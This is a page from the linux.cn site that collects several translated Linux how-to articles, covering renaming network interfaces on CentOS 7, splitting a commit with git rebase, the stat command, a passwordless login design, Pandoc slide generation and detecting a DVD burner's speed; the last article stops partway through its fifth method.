Skip to content Skip to main navigation Skip to footer

Linux

Linux:Linux有问必答:如何在CentOS7上改变网络接口名

提问: 在CentOS7,我想将分配的网络接口名更改为别的名字。有什么合适的方法来来重命名CentOS或RHEL7的网络接口?

传统上,Linux的网络接口被枚举为eth[0123…],但这些名称并不一定符合实际的硬件插槽,PCI位置,USB接口数量等,这引入了一个不可预知的命名问题(例如,由于不确定的设备探测行为),这可能会导致不同的网络配置错误(例如,由无意的接口改名引起的禁止接口或者防火墙旁路)。基于MAC地址的udev规则在虚拟化的环境中并不有用,这里的MAC地址如端口数量一样无常。

Linux:Linux有问必答:如何在CentOS7上改变网络接口名
Linux:Linux有问必答:如何在CentOS7上改变网络接口名

CentOS/RHEL6引入了一致和可预测的网络设备命名网络接口的方法。这些特性可以唯一地确定网络接口的名称以使定位和区分设备更容易,并且在这样一种方式下,无论是否重启机器、过了多少时间、或者改变硬件,其名字都是持久不变的。然而,这种命名规则并不是默认在CentOS/RHEL6上开启。

从CentOS/RHEL7起,这种可预见的命名规则变成了默认。根据这一规则,接口名称被自动基于固件,拓扑结构和位置信息来确定。现在,即使添加或移除网络设备,接口名称仍然保持固定,而无需重新枚举,和坏掉的硬件可以无缝替换。

* 基于接口类型的两个字母前缀:
*   en -- 以太网
*   sl -- 串行线路IP (slip)
*   wl -- wlan
*   ww -- wwan
*
* 名字类型:
*   b                             -- BCMA总线和新书
*   ccw                             -- CCW总线组名
*   o                              -- 车载设备的索引号
*   s[f][d]     -- 热插拔插槽索引号
*   x                                -- MAC 地址
*   [P]ps[f][d]
*                                         -- PCI 位置
*   [P]ps[f][u][..]1[i]
*                                         -- USB端口号链

新的命名方案的一个小的缺点是接口名称相比传统名称有点难以阅读。例如,你可能会发现像enp0s3名字。再者,你再也无法来控制接口名了。

Linux:Linux有问必答:如何在CentOS7上改变网络接口名
Linux:Linux有问必答:如何在CentOS7上改变网络接口名

如果由于某种原因,你喜欢旧的方式,并希望能够选择任意名称分配给CentOS/ RHEL7的设备,你需要重写默认的可预测的命名规则,定义基于MAC地址udev规则。

下面是如何在CentOS或RHEL7命名网络接口。

首先,让我们来禁用该可预测命名规则。对于这一点,你可以在启动时传递“net.ifnames=0”的内核参数。这是通过编辑/etc/default/grub并加入“net.ifnames=0”到GRUBCMDLINELINUX变量来实现的。

然后运行这条命令来重新生成GRUB配置并更新内核参数。

$ sudo grub2-mkconfig -o /boot/grub2/grub.cfg
Linux:Linux有问必答:如何在CentOS7上改变网络接口名
Linux:Linux有问必答:如何在CentOS7上改变网络接口名

接下来,编辑(或创建)一个udev的网络命名规则文件(/etc/udev/rules.d/70-persistent-net.rules),并添加下面一行。更换成你自己的MAC地址(08:00:27:a9:7a:e1)和接口(sushi)。

 $ sudo vi /etc/udev/rules.d/70-persistent-net.rules

SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*", ATTR{address}=="08:00:27:a9:7a:e1", ATTR{type}=="1", KERNEL=="eth*", NAME="sushi"

最后,重启电脑并验证新的接口名。

Linux:Linux有问必答:如何在CentOS7上改变网络接口名
Linux:Linux有问必答:如何在CentOS7上改变网络接口名

请注意,配置重命名后的接口仍然是你的责任。如果网络配置(例如,IPv4设置,防火墙规则)是基于旧名称(变更前)的,则需要更新的网络配置以反映更改的名称。


via: http://ask.xmodulo.com/change-network-interface-name-centos7.html

译者:geekpi 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4045-1.html

Linux:Git Rebase教程: 用Git Rebase让时光倒流

想象一下你正在开发一个激进的新功能。这将是很灿烂的但它需要一段时间。您这几天也许是几个星期一直在做这个。

Linux:Git Rebase教程: 用Git Rebase让时光倒流
Linux:Git Rebase教程: 用Git Rebase让时光倒流

你的功能分支已经超前master有6个提交了。你是一个优秀的开发人员并做了有意义的语义提交。但有一件事情:你开始慢慢意识到,这个疯狂的东西仍需要更多的时间才能真的做好准备被合并回主分支。

m1-m2-m3-m4 (master)
      f1-f2-f3-f4-f5-f6(feature)

你也知道的是,一些地方实际上是交叉不大的新功能。它们可以更早地合并到主分支。不幸的是,你想将部分合并到主分支的内容存在于你六个提交中的某个地方。更糟糕的是,它也包含了依赖于你的功能分支的之前的提交。有人可能会说,你应该在第一处地方做两次提交,但没有人是完美的。

m1-m2-m3-m4 (master)
      f1-f2-f3-f4-f5-f6(feature)
             ^
             |
        mixed commit

在你准备提交的时间,你没有预见到,你可能要逐步把该功能合并入主分支。哎呀!你不会想到这件事会有这么久。

你需要的是一种方法可以回溯历史,把它并分成两次提交,这样就可以把代码都安全地分离出来,并可以移植到master分支。

用图说话,就是我们需要这样。

m1-m2-m3-m4 (master)
      f1-f2-f3a-f3b-f4-f5-f6(feature)

在将工作分成两个提交后,我们就可以cherry-pick出前面的部分到主分支了。

原来Git自带了一个功能强大的命令git rebase -i ,它可以让我们这样做。它可以让我们改变历史。改变历史可能会产生问题,作为一个经验,应尽快避免历史与他人共享。不过在我们的例子中,我们只是改变我们的本地功能分支的历史。没有人会受到伤害。就这么做了!

好吧,让我们来仔细看看f3提交究竟修改了什么。原来我们共修改了两个文件:userService.js和wishlistService.js。比方说,userService.js的更改可以直接合入主分支而wishlistService.js不能。因为wishlistService.js甚至不存在在主分支里面。它是f1提交中引入的。

专家提示:即使是在一个文件中更改,git也可以搞定。但这篇博客中我们先简化情况。

我们已经建立了一个公众演示仓库,我们将使用这个来练习。为了便于跟踪,每一个提交信息的前缀是在上面的图表中使用的假的SHA。以下是git在分开提交f3时的分支图。

Linux:Git Rebase教程: 用Git Rebase让时光倒流
Linux:Git Rebase教程: 用Git Rebase让时光倒流

现在,我们要做的第一件事就是使用git的checkout功能checkout出我们的功能分支。用git rebase -i master开始做rebase。

现在接下来git会用所配置的编辑器打开(默认为Vim)一个临时文件。

Linux:Git Rebase教程: 用Git Rebase让时光倒流
Linux:Git Rebase教程: 用Git Rebase让时光倒流

该文件为您提供一些rebase选择,它带有一个提示(蓝色文字)。对于每一个提交,我们可以选择的动作有pick、rwork、edit、squash、fixup和exec。每一个动作也可以通过它的缩写形式p、r、e、s、f和e引用。描述每一个选项超出了本文范畴,所以让我们专注于我们的具体任务。

我们要为f3提交选择edit选项,因此我们把内容改变成这样。

Linux:Git Rebase教程: 用Git Rebase让时光倒流
Linux:Git Rebase教程: 用Git Rebase让时光倒流

现在我们保存文件(在Vim中是按下后输入:wq,最后是按下回车)。接下来我们注意到git在编辑选项中选择的提交处停止了rebase。

Linux:Git Rebase教程: 用Git Rebase让时光倒流
Linux:Git Rebase教程: 用Git Rebase让时光倒流

这意味这git开始将f1、f2、f3生效仿佛它就是常规的rebase,但是在f3生效之后停止。事实上,我们可以看一眼停止的地方的日志就可以证明这一点。

要将f3分成两个提交,我们所要做的是重置git的指针到先前的提交(f2)而保持工作目录和现在一样。这就是git reset在混合模式在做的。由于混合模式是git reset的默认模式,我们可以直接用git reset head~1。就这么做并在运行后用git status看下发生了什么。

Linux:Git Rebase教程: 用Git Rebase让时光倒流
Linux:Git Rebase教程: 用Git Rebase让时光倒流

git status告诉我们userService.js和wishlistService.js被修改了。如果我们运行 git diff 我们就可以看见在f3里面确切地做了哪些更改。

Linux:Git Rebase教程: 用Git Rebase让时光倒流
Linux:Git Rebase教程: 用Git Rebase让时光倒流

如果我们看一眼日志我们会发现f3已经消失了。

现在我们有了准备提交的先前的f3提交,而原先的f3提交已经消失了。记住虽然我们仍旧在rebase的中间过程。我们的f4、f5、f6提交还没有缺失,它们会在接下来回来。

让我们创建两个新的提交:首先让我们为可以提交到主分支的userService.js创建一个提交。运行git add userService.js 接着运行 git commit -m “f3a: add updateUser method”。

太棒了!让我们为wishlistService.js的改变创建另外一个提交。运行git add wishlistService.js,接着运行git commit -m “f3b: add addItems method”.

让我们在看一眼日志。

Linux:Git Rebase教程: 用Git Rebase让时光倒流
Linux:Git Rebase教程: 用Git Rebase让时光倒流

这就是我们想要的,除了f4、f5、f6仍旧缺失。这是因为我们仍在rebase交互的中间,我们需要告诉git继续rebase。用下面的命令继续:git rebase –continue。

让我们再次检查一下日志。

Linux:Git Rebase教程: 用Git Rebase让时光倒流
Linux:Git Rebase教程: 用Git Rebase让时光倒流

就是这样。我们现在已经得到我们想要的历史了。先前的f3提交现在已经被分割成两个提交f3a和f3b。剩下的最后一件事是cherry-pick出f3a提交到主分支上。

为了完成最后一步,我们首先切换到主分支。我们用git checkout master。现在我们就可以用cherry-pick命令来拾取f3a commit了。本例中我们可以用它的SHA值bd47ee1来引用它。

现在f3a这个提交就在主分支的最上面了。这就是我们需要的!

这篇文章的长度看起来需要花费很大的功夫,但实际上对于一个git高级用户而言这只是一会会。

注:Christoph目前正在与Pascal Precht写一本关于Git rebase的书,您可以在leanpub订阅它并在准备出版时获得通知。

Linux:Git Rebase教程: 用Git Rebase让时光倒流
Linux:Git Rebase教程: 用Git Rebase让时光倒流

本文作者 Christoph Burgdorf自10岁时就是一名程序员,他是HannoverJS Meetup网站的创始人,并且一直活跃在AngularJS社区。他也是非常了解gti的内内外外,在那里他举办一个thoughtram的工作室来帮助初学者掌握该技术。

本的教程最初发表在他的blog


via: https://www.codementor.io/git-tutorial/git-rebase-split-old-commit-master

作者:cburgdorf 译者:geekpi 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4046-1.html

Linux:小技巧:"启动器的shell脚本会调用xterm来运行" 的解决办法

本文针对 Mate 1.8.1 桌面环境下,CentOS 7.0 (x86_64) 和 ArchLinux 2014.10.01 (x86_64) 版本,也同样适用于存在类似问题的其他发行版本。

Linux:小技巧:"启动器的shell脚本会调用xterm来运行" 的解决办法
Linux:小技巧:"启动器的shell脚本会调用xterm来运行" 的解决办法

(我自己仅仅在这两种发行版本下使用)

问题提出

按照旧思路,在面板中添加启动器指向 .sh 脚本,以这个为例:

/home/myname/Scripts/pacman_Update.sh
Linux:小技巧:"启动器的shell脚本会调用xterm来运行" 的解决办法
Linux:小技巧:"启动器的shell脚本会调用xterm来运行" 的解决办法

但是运行时会默认调用 xterm 来运行。界面既不美观,也不习惯,更为麻烦的是不支持粘贴操作。

Linux:小技巧:"启动器的shell脚本会调用xterm来运行" 的解决办法
Linux:小技巧:"启动器的shell脚本会调用xterm来运行" 的解决办法

解决办法

需要将启动器指向修改为:

/usr/bin/mate-terminal -x /bin/sh -c '/home/myname/Scripts/pacman_Update.sh'

并且启动类型需要设置为“应用程序”,而不是“终端上的程序”。

Linux:小技巧:"启动器的shell脚本会调用xterm来运行" 的解决办法
Linux:小技巧:"启动器的shell脚本会调用xterm来运行" 的解决办法

执行结果如下:

如果本文对您有所帮助,欢迎转载和分享,谢谢!

来源:https://linux.cn/article-4055-1.html

Linux:stat — 获取比 ls 更多的信息

 

厌倦了 ls 命令,并且想查看更多有关你的文件的有趣的信息? 试一试 stat!

Linux:stat -- 获取比 ls 更多的信息
Linux:stat — 获取比 ls 更多的信息

ls 命令可能是每一个 Unix 使用者第一个学习的命令之一, 但它仅仅显示了 stat 命令能给出的信息的一小部分。

stat 命令从文件的索引节点获取信息。 正如你可能已经了解的那样, 每一个系统里的文件都存有三组日期和时间, 它们包括最近修改时间(即使用 ls -l 命令时显示的日期和时间), 最近状态改变时间(包括对文件重命名)和最近访问时间。

使用长列表模式查看文件信息, 你会看到类似下面的内容:

$ ls -l trythis
-rwx------ 1 shs unixdweebs 109 Nov 11  2013 trythis

使用 stat 命令, 你会看到下面这些:

$ stat trythis
  File: `trythis'
  Size: 109      Blocks: 8   IO Block: 262144 regular file
Device: 18h/24d Inode: 12731691    Links: 1
Access: (0700/-rwx------)  Uid: (  263/     shs)   Gid: (  100/ unixdweebs)
Access: 2014-09-09 19:27:58.000000000 -0400
Modify: 2013-11-11 08:40:10.000000000 -0500
Change: 2013-11-11 08:40:10.000000000 -0500

在上面的情形中, 文件的状态改变和文件修改的日期/时间是相同的, 而访问时间则是相当近的时间。 我们还可以看到文件使用了 8 个块, 以及两种格式显示的文件权限 — 八进制(0700)格式和 rwx 格式。 在第三行显示的索引节点是 12731681. 文件没有其它的硬链接(Links: 1)。 而且, 这个文件是一个常规文件。

把文件重命名, 你会看到状态改变时间发生变化。

这里的 ctime 信息, 最早设计用来存储文件的创建(create)日期和时间, 但后来不知道什么时候变为用来存储状态修改(change)时间。

$ mv trythis trythat
$ stat trythat
  File: `trythat'
  Size: 109      Blocks: 8   IO Block: 262144 regular file
Device: 18h/24d Inode: 12731691    Links: 1
Access: (0700/-rwx------)  Uid: (  263/     shs)   Gid: (  100/ unixdweebs)
Access: 2014-09-09 19:27:58.000000000 -0400
Modify: 2013-11-11 08:40:10.000000000 -0500
Change: 2014-09-21 12:46:22.000000000 -0400

改变文件的权限也会改变 ctime 域。

你也可以配合通配符来使用 stat 命令以列出一组文件的状态:

$ stat myfile*
  File: `myfile'
  Size: 20              Blocks: 8          IO Block: 262144 regular file
Device: 18h/24d Inode: 12731803    Links: 1
Access: (0640/-rw-r-----)  Uid: (  263/     shs)   Gid: (  100/ unixdweebs)
Access: 2014-08-23 03:00:36.000000000 -0400
Modify: 2014-08-22 12:02:12.000000000 -0400
Change: 2014-08-22 12:02:12.000000000 -0400
  File: `myfile2'
  Size: 20              Blocks: 8          IO Block: 262144 regular file
Device: 18h/24d Inode: 12731806    Links: 1
Access: (0640/-rw-r-----)  Uid: (  263/     shs)   Gid: (  100/ unixdweebs)
Access: 2014-08-23 03:00:36.000000000 -0400
Modify: 2014-08-22 12:03:30.000000000 -0400
Change: 2014-08-22 12:03:30.000000000 -0400
  File: `myfile3'
  Size: 40              Blocks: 8          IO Block: 262144 regular file
Device: 18h/24d Inode: 12730533    Links: 1
Access: (0640/-rw-r-----)  Uid: (  263/     shs)   Gid: (  100/ unixdweebs)
Access: 2014-08-23 03:00:36.000000000 -0400
Modify: 2014-08-22 12:03:59.000000000 -0400
Change: 2014-08-22 12:03:59.000000000 -0400

如果我们喜欢的话, 我们也可以通过其他命令来获取这些信息。

向 ls -l 命令添加 “u” 选项, 你会看到下面的结果。 注意这个选项会显示最后访问时间, 而添加 “c” 选项则会显示状态改变时间(在本例中, 是我们重命名文件的时间)。

$ ls -lu trythat
-rwx------ 1 shs unixdweebs 109 Sep  9 19:27 trythat
$ ls -lc trythat
-rwx------ 1 shs unixdweebs 109 Sep 21 12:46 trythat

stat 命令也可应用与文件夹。

在这个例子中, 我们可以看到有许多的链接。

$ stat bin
  File: `bin'
  Size: 12288    Blocks: 24  IO Block: 262144 directory
Device: 18h/24d Inode: 15089714    Links: 9
Access: (0700/drwx------)  Uid: (  263/     shs)   Gid: (  100/ unixdweebs)
Access: 2014-09-21 03:00:45.000000000 -0400
Modify: 2014-09-15 17:54:41.000000000 -0400
Change: 2014-09-15 17:54:41.000000000 -0400

在这里, 我们还可以查看一个文件系统。

$ stat -f /dev/cciss/c0d0p2
  File: "/dev/cciss/c0d0p2"
    ID: 0 Namelen: 255     Type: tmpfs
Block size: 4096Fundamental block size: 4096
Blocks: Total: 259366     Free: 259337     Available: 259337
Inodes: Total: 223834     Free: 223531

注意 Namelen (文件名长度)域, 如果文件名长于 255 个字符的话, 你会很幸运地在文件名处看到心形符号!

stat 命令还可以一次显示所有我们想要的信息。 下面的例子中, 我们只想查看文件类型, 然后是硬连接数。

$ stat --format=%F trythat
regular file
$ stat --format=%h trythat
1

在下面的例子中, 我们查看了文件权限 — 分别以两种可用的格式 — 然后是文件的 SELinux 安全环境。最后,我们我们可以以从 Epoch 开始的秒数格式来查看文件访问时间。

$ stat --format=%a trythat
700
$ stat --format=%A trythat
-rwx------
$ stat --format=%C trythat
(null)
$ stat --format=%X bin
1411282845

下面全部是可用的选项:

%a     八进制表示的访问权限
%A     可读格式表示的访问权限
%b     分配的块数(参见 %B)
%B     %b 参数显示的每个块的字节数
%d     十进制表示的设备号
%D     十六进制表示的设备号
%f     十六进制表示的 Raw 模式
%F     文件类型
%g     属主的组 ID
%G     属主的组名
%h     硬连接数
%i     Inode 号
%n     文件名
%N     如果是符号链接,显示器所链接的文件名
%o     I/O 块大小
%s     全部占用的字节大小
%t     十六进制的主设备号
%T     十六进制的副设备号
%u     属主的用户 ID
%U     属主的用户名
%x     最后访问时间
%X     最后访问时间,自 Epoch 开始的秒数
%y     最后修改时间
%Y     最后修改时间,自 Epoch 开始的秒数
%z     最后改变时间
%Z     最后改变时间,自 Epoch 开始的秒数

针对文件系统还有如下格式选项:

%a     普通用户可用的块数
%b     文件系统的全部数据块数
%c     文件系统的全部文件节点数
%d     文件系统的可用文件节点数
%f     文件系统的可用节点数
%C     SELinux 的安全上下文
%i     十六进制表示的文件系统 ID
%l     文件名的最大长度
%n     文件系统的文件名
%s     块大小(用于更快的传输)
%S     基本块大小(用于块计数)
%t     十六进制表示的文件系统类型
%T     可读格式表示的文件系统类型

这些信息都可以得到,stat 命令也许可以帮你以稍微不同的角度来了解你的文件。


via: http://www.itworld.com/operating-systems/437351/unix-stat-more-ls

作者:Sandra Henry-Stocker 译者:wangjiezhe 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出

来源:https://linux.cn/article-4067-1.html

Linux:无密码登录技术

Linux:无密码登录技术
Linux:无密码登录技术

在Mozilla,我帮助开发一个不依赖密码的登录系统。它也不使用诸如Facebook之类的社会化平台的登录。我认为我们已经创造了并行的替代方案——我乐于看到被使用,被其他设计师和开发者继续推动发展。当我们彼此身边的、需要密码的网站越少,被忘记的、被盗的、跨站点用一个密码的情况就会越少。

加入按钮

在本文,你可以了解到系统设计和用户体验。如果你对整个事情感兴趣,可以移步到Webmaker blog上的文章

加入——快速、简单

我们简化了加入Webmaker的流程。以前,在人们能够访问Webmaker之前,需要首先注册一个角色。这是莫名其妙的(因为名字和平台可能是新的、也不熟悉)。现在,新用户只需要输入他们的邮箱、选择一个用户名。他们马上就能访问Webmaker,不需要验证其账户。验证发生在用户首次登陆、或如果他们试着公布时去手动触发。(我们即将支持电话号码和短信,以作为邮箱的代替。)

Linux:无密码登录技术
Linux:无密码登录技术

登录 ——不需要密码

登录就更有意思了。

网上已经有很多人讨论过这个话题了,我采用了通常的忘记密码的体验,并改造成主要的登录表单。

Linux:无密码登录技术
Linux:无密码登录技术

一个人能够用他们的用户名和邮箱地址登录。Webmaker发送一封邮件,只有他们能够访问。这封邮件包含了一个登录按钮,和“记住我”的链接。这两种选择都会把他们带入网站、无需更多的点击。

Linux:无密码登录技术
Linux:无密码登录技术

登录 ——跨设备

一些人是在学校或图书馆的公共电脑上使用Webmaker的。他们或许在手机上收到了登录邮件。对于这种情况,这封邮件将包含一个简短的key,他们可以看到并跨设备拷贝下来(上面邮件的黄色部分)。下面的图表描述了这个流程。

Linux:无密码登录技术
Linux:无密码登录技术

这个key是临时的。一次使用或30分钟后,都会过期。如果被滥用,它也会在暴力破解时过期失效。

登录 ——可选的密码

对于在图书馆的公共电脑上工作的人们来说,密码可能是有用的。我们让密码变成可选择的,添加起来比较容易。事实上,人们在旅游的时候添加一个密码,当他们回到家里时就删除它,针对这两种情况的不同而顺畅地切换,以获取最佳体验。

Linux:无密码登录技术
Linux:无密码登录技术

我想检验的一个理论是:如果我们在人们努力回忆自己密码的时刻,允许他们脱离密码,那么我们将增加这种替代登录方式的普及和理解。

Linux:无密码登录技术
Linux:无密码登录技术

密码可以在个人首页上添加。上面展示的登录邮件上的链接,也可以做到。这个链接既做为登录链接,又把用户导向设置密码的地方。

服务器端的流程

人们将拥有根据他们的状况量身定制的体验,支持他们通过链接、key或者密码登录。服务器流畅地管理者这种体验,甚至对于那些忘记了以前建立过账户的人们,也是如此。

Linux:无密码登录技术
Linux:无密码登录技术

反馈和讨论

我们欢迎你的反馈和疑问,在Webmaker上有更多关于这个项目的信息。你也可以在我们的开发人员Chris DeCairos写的文章里找到更多的技术讨论

来源:http://www.labazhou.net/2014/10/one-less-password/

Linux:Markdown+Pandoc→HTML幻灯片速成

所见即所得的PPT是一个比较低效的东西,因为没有做到内容与样式相分离,在做幻灯片的时候要把一半的精力放在外观而不是内容上;复杂庞大的文件格式,不符合Unix的纯文本哲学,只适合在特定的GUI下通过鼠标操作,无法通过文本编辑器修改,更难以用文本工具脚本处理;再加上微软他家的格式不开放,各路开源不开源的Office产品搞出来了各种程度不同的兼容性,非常分裂。

所以,有Web这样一个开放的、纯粹基于文本的业界标准就很重要。

这篇主要讲如何用Markdown这样的轻量级标记语言在编辑器中书写文本内容,用Pandoc迅速将其转换成基于Web的演示文稿。如是,可以在开会前十分钟根据事务提纲炮制出几十页的幻灯片,且不失美观。

准备工作:安装Pandoc

首先,你需要安装文本转换的神器Pandoc:http://johnmacfarlane.net/pandoc/installing.html

具体安装方法参见文档,在此不再赘述。

$ cabal update
$ cabal install pandoc

书写内容

内容是演示文稿的主体。PowerPoint或OpenOffice Impress里面的“大纲”就是用来把握这个主体的视图。这可以让写作者暂时忘记幻灯片的具体外观、排版这些表面化的东西,把集中力放到整个演讲的逻辑流程和提纲要领上。

书写HTML幻灯片可以像日常记笔记一样简捷快速。实际上,这些幻灯片本身就是用轻量级标记语言写成的纯文本,你可以用任何一种Pandoc支持的标记语言(Markdown、org-mode、reST、Textile……)来书写其内容。在此以Markdown为例:

% Nonsense Stuff
% John Doe
% March 22, 2005
# In the morning
## Getting up
- Turn off alarm
- Get out of bed
## Breakfast
- Eat eggs
- Drink coffee
# In the evening
## Dinner
- Eat spaghetti
- Drink wine
------------------
![picture of spaghetti](images/spaghetti.jpg)
## Going to sleep
- Get in bed
- Count sheep

分级标题、列表、插入图片……等标准的Markdown语法均被支持,和平常用Markdown记笔记写博客无异。

为了让Pandoc对不包含任何元信息的Markdown文本进行处理生成幻灯片,在文本开头需要包含三行以%打头的元信息:标题、作者和日期。

为了生成合适的用于演示的HTML文档,需要记住的另一点是:在默认情况下每个二级标题是一张独立的幻灯片。这样在写作的时候,只需注意把每个二级标题下的内容控制在适当的长度。

列表的显示效果可以人为设定,例如在幻灯片演示的时候逐条渐入,后文会提到。也可以使用$插入 TeX公式,Pandoc可以将其转换为被大部分现代浏览器支持的MathML,或借助MathJax在较旧浏览器中显示。

也可以直接在文本中嵌入HTML,用于显示Markdown等标记语言不支持的表格,或控制字体大小,以及进行其他更加复杂的排版。当然,如果用到的HTML标签过多,这不是Markdown这些轻量级标记语言的错,也许是做幻灯片的方式出了问题。因为演示本身要传达的是内容,复杂的排版没有任何意义。想一想高桥流简报法

定义样式

目前Pandoc包含了对五种HTML幻灯片框架的支持:

当然,你实际上可以使用任何喜欢的幻灯片框架(比如Google I/O HTML5 slide template),只要让Pandoc在渲染HTML时使用你指定的模板即可。

自定义HTML模板

首先,如果你知道如何写CSS去定义页面外观、如何写JavaScript让

元素动起来,或者已经有了一个不错的HTML幻灯片模板,你就可以直接让Pandoc把Markdown转换成纯HTML片段,用来嵌到自己的模板里:

$ pandoc slides.md -o slides.html

生成一个完整的HTML页面(包含、、标签和各种元信息):

$ pandoc slides.md -o slides.html -s

DZSlides

当然,我们完全没有必要写自己的HTML模板,因为Pandoc已经提供了对多种幻灯片模板的支持。DZSlides便是其中最简单的一种,支持键盘操作→/←翻页,PgUp/PgDn,Home/End。

Pandoc生成的DZSlides幻灯片中自包含了所需CSS和JavaScript,无需依赖任何外部文件。

采用默认模板渲染一个独立的DZSlides幻灯片:

$ pandoc slides.md -o slides.html -t dzslides -s

若要对模板的样式进行调整,可以用–template指定自定义模板。默认的模板为default.dzslides,因此上述命令等效于:

$ pandoc slides.md -o slides.html -t dzslides --template default.dzslides

可以从这里https://github.com/jgm/pandoc-templates找到原来的模板,自行修改后替换掉原先的模板。其余幻灯片框架与此相仿,以后不再赘述。

Slidy

HTML Slidy是W3C开发的一个极简主义HTML幻灯片模板,没有任何多余的样式,支持鼠标单击翻页,键盘操作→/←,PgUp/PgDn,Home/End。

采用默认模板渲染一个独立的Slidy幻灯片:

$ pandoc slides.md -o slides.html -t slidy -s

或指定自定义模板:

$ pandoc slides.md -o slides.html -t slidy --template default.slidy

Pandoc生成的Slidy HTML依赖于http://www.w3.org/Talks/Tools/Slidy2/styles/slidy.css和http://www.w3.org/Talks/Tools/Slidy2/scripts/slidy.js这两个外部文件。若不想依赖http://www.w3.org/,可以将它们保存为本地文件。

S5

S5(Simple Standards-Based Slide Show System)是一个公有领域的HTML幻灯片规范。它支持鼠标单击翻页,键盘操作→/←,PgUp/PgDn,Home/End。

为了使用S5作为幻灯片框架,需要从这里下载S5。解压之后把S5文件夹中的ui/default拷贝到幻灯片所在路径下,改名为s5/default即可。

渲染幻灯片:

$ pandoc slides.md -o slides.html -t s5 -s

在S5的幻灯片界面上,鼠标移到右下角可以看到若干控制选项。

Slideous

Slideous是另一个有些年头的HTML幻灯片框架。支持鼠标单击翻页,键盘操作→/←,PgUp/PgDn,Home/End。

下载http://goessner.net/download/prj/slideous/slideous.js和http://goessner.net/download/prj/slideous/slideous.css这两个文件,放到本地目录slideous/下即可。

渲染幻灯片:

$ pandoc slides.md -o slides.html -t slideous -s

Slideous的界面上提供了比较丰富的控制选项。

reveal.js

reveal.js这东西已经红得不能更红了,最近开始火起来的WYSIWYG在线幻灯片工具slid.es也是基于它。

reveal.js的设计风格(字体、HTML5/CSS3效果)比起前面几个框架更加现代,所以如果没有特别的理由(旧浏览器兼容性)的话,reveal.js果然还是最应该推荐的一个。

虽说reveal.js本身就提供对Markdown语法的支持,不过Pandoc的好处很明显,那就是一条命令解决问题,不需要用户接触任何HTML。

首先需要从GitHub上获取https://github.com/hakimel/reveal.js,将reveal.js同名的文件夹放在幻灯片所在目录下即可:

$ git clone https://github.com/hakimel/reveal.js

渲染幻灯片:

$ pandoc slides.md -o slides.html -t revealjs -s

除了默认的外观主题以外,reveal.js还提供了多个主题可供选择,

$ pandoc slides.md -o slides.html -t revealjs -s -V theme=beige
  • default:(默认)深灰色背景,白色文字
  • beige:米色背景,深色文字
  • sky:天蓝色背景,白色细文字
  • night:黑色背景,白色粗文字
  • serif:浅色背景,灰色衬线文字
  • simple:白色背景,黑色文字
  • solarized:奶油色背景,深青色文字

LaTeX Beamer

最后,虽然不是HTML,Pandoc也可以用来将Markdown文件渲染成LaTeX beamer样式的PDF幻灯片。如需要打印而不是演示时特别有用。

$ pandoc slides.md -o slides.pdf -t beamer

来源:http://www.soimort.org/posts/165/

Linux:Linux有问必答:如何使用Linux命令行检测DVD刻录机的名字和读写速度

提问:我想要知道我的DVD刻录机的名字和在烧录时的速度。该使用什么Linux命令行工具来连测DVD刻录机的设备名和速度?

如今大多数消费PC和笔记本电脑都配备了DVD刻录机。在Linux中,光盘驱动器,如CD/DVD驱动器的名字是在引导时内核基于udev规则来命名的。有几种方法来检测刻录机的设备名称和它的写入速度。

Linux:Linux有问必答:如何使用Linux命令行检测DVD刻录机的名字和读写速度
Linux:Linux有问必答:如何使用Linux命令行检测DVD刻录机的名字和读写速度

方法一

找出与DVD刻录机相关的设备名称最简单的方法是使用dmesg命令行工具,它打印出内核的消息缓冲区。在dmesg的输出中,寻找一个安装好的DVD刻录机:

$ dmesg | egrep -i --color 'dvd|cd/rw|writer'

上述命令的输出会告诉你你的Linux系统上是否检测到了DVD刻录机以及它被分配的名字。本例中,DVD刻录机的设备名称为“/dev/sr0”。虽然此方法不会告诉你的写入速度

方法二

第二个获得你DVD刻录机的信息是使用lsscsi命令,它只是列出了所有可用的SCSI设备。

在基于Debian Linux上安装 lsscsi:

$ sudo apt-get install lsscsi

在基于Red Hat Linux上安装:

$ sudo yum install lsscsi

如果成功检测到,lsscsi命令的输出会告诉你DVD刻录机的名称:

$ lsscsi

这也不会告诉你刻录机更多的细节,比如写入速度。

方法三

第三种获取有关你DVD刻录机的信息是参考/proc/sys/dev/cdrom/info。

$ cat /proc/sys/dev/cdrom/info

CD-ROM information, Id: cdrom.c 3.20 2003/12/17
drive name:     sr0
drive speed:        24
drive # of slots:   1
Can close tray:     1
Can open tray:      1
Can lock tray:      1
Can change speed:   1
Can select disk:    0
Can read multisession:  1
Can read MCN:       1
Reports media changed:  1
Can play audio:     1
Can write CD-R:     1
Can write CD-RW:    1
Can read DVD:       1
Can write DVD-R:    1
Can write DVD-RAM:  1
Can read MRW:       1
Can write MRW:      1
Can write RAM:      1

本例中,输出会告诉你DVD刻录机(/dev/sr0)与x24的CD刻录速度(即24×153.6 Kbps)兼容,且相当于x3的DVD写入速度(即3×1385 KBps的)兼容。这里的写入速度是最大可能的速度,而实际的写入速度当然取决于使用的介质(例如:DVD-RW、DVD + RW、DVD-RAM等)。

方法四

另一种方法是使用一种称为wodim命令行程序。在大多数的Linux发行版,这个工具以及它的软链接cdrecord都是默认安装的。

# wodim -prcap
(or cdrecord -prcap)
Linux:Linux有问必答:如何使用Linux命令行检测DVD刻录机的名字和读写速度
Linux:Linux有问必答:如何使用Linux命令行检测DVD刻录机的名字和读写速度

如果不带任何参数调用时,wodim命令会自动检测到DVD刻录机,并显示出详细的功能以及它的最大读取/写入速度。例如,你可以找出刻录机支持哪些媒体(如CD-R、CD-RW、DVD-RW、DVD-ROM、DVD-R、DVD-RAM、音频CD),以及有哪些如何读/写速度。上面的例子中输出显示,DVD刻录机对于CD拥有X24最大写入速度,对于DVD有X3的最大写入速度。

需要注意的是wodim命令报告的写入速度会随您插入到DVD刻录机的CD/DVD介质的改变而改变,这反映了媒体规范。

方法五

还有一个方法来检查DVD刻录机的写入速度的是一个名为dvd+rw-mediainfo的工具,这是dvd+rw工具包(DVD+-RW/R媒体工具链)的一部分。

在基于Debian 发行版上安装 dvd+rw-tools

$ sudo apt-get install dvd+rw-tools

在基于Red Hat 发行版上安装 dvd+rw-tools:

$ sudo yum install dvd+rw-tools

